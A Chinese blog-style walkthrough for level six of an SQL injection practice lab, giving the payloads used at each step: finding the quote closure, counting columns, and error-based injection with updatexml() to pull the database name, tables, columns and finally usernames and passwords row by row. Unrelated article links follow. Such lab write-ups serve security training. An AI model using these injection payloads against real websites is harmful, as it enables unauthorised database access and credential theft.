SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
程序员小白条5 小时前
0经验如何找实习?
java·开发语言·数据结构·数据库·链表
liulilittle5 小时前
C++ 浮点数封装。
linux·服务器·开发语言·前端·网络·数据库·c++
郭涤生5 小时前
QT 架构笔记
java·数据库·系统架构
韩立学长5 小时前
基于Springboot流浪动物领养网站0kh2iyb4(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端
DBA小马哥5 小时前
Oracle迁移到金仓数据库:完整迁移步骤与兼容性优化实战
数据库·oracle·国产化平替
@nengdoudou6 小时前
KStudio 客户端无法访问 KES 数据库服务器的指定 IP / 端口
数据库
R.lin7 小时前
windows MySQL解压版安装教程
windows·mysql·adb
宋军涛7 小时前
记一次Sqlserver数据库存储过程调用导致的连接池耗尽事件
数据库
前端小臻7 小时前
MySQL 错误 1005 (errno: 150) 深度解析与解决方案
数据库·mysql
魔镜前的帅比7 小时前
向量数据库原理
数据库·人工智能